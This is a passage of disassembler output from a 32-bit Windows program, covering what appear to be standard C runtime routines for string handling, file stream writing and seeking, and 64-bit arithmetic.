		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD3BC
		call	sub_422EA8
		mov	edx, dword_4DD3BC
		pop	ecx
		mov	ecx, dword_4DD3B8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD3BC
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------

loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD3B8
		sub	ecx, dword_4DD3BC
		mov	dword_4DD3BC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD3B8, ecx

loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD3B8, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD3BC, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD3BC
		pop	ecx

loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD3BC
		mov	dword_4DD3B8, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75

loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D

loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07

loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------

loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h

loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------

loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDEC, 16h
		or	eax, 0FFFFFFFFh

loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------

loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------

loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h

loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax

loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------

loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53

loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------

loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx

loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A

loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------

loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1

loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]

loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------

loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi

loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 2690E3Bh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 269096Bh
		push	eax
		call	sub_420C7F
		pop	ecx

loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDEC, 0Dh
		mov	dword_4DBDF0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------

loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------

loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F

loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi

loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------

loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82

loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------

loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36

loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi

loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi

loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE94
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5

loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl

loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------

loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx

loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D094, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A

loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D

loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------

loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh

loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0

loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax

loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------

loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D094, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------

loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D

loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------

loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------

loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------

loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE

loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4

loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE94, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE

loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------

loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBEA4
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 269096Bh
		cmp	eax, 7Ah
		jz	short loc_41E15F

loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDEC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------

loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE88
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax

loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167

loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBEA4
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------

loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE94, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
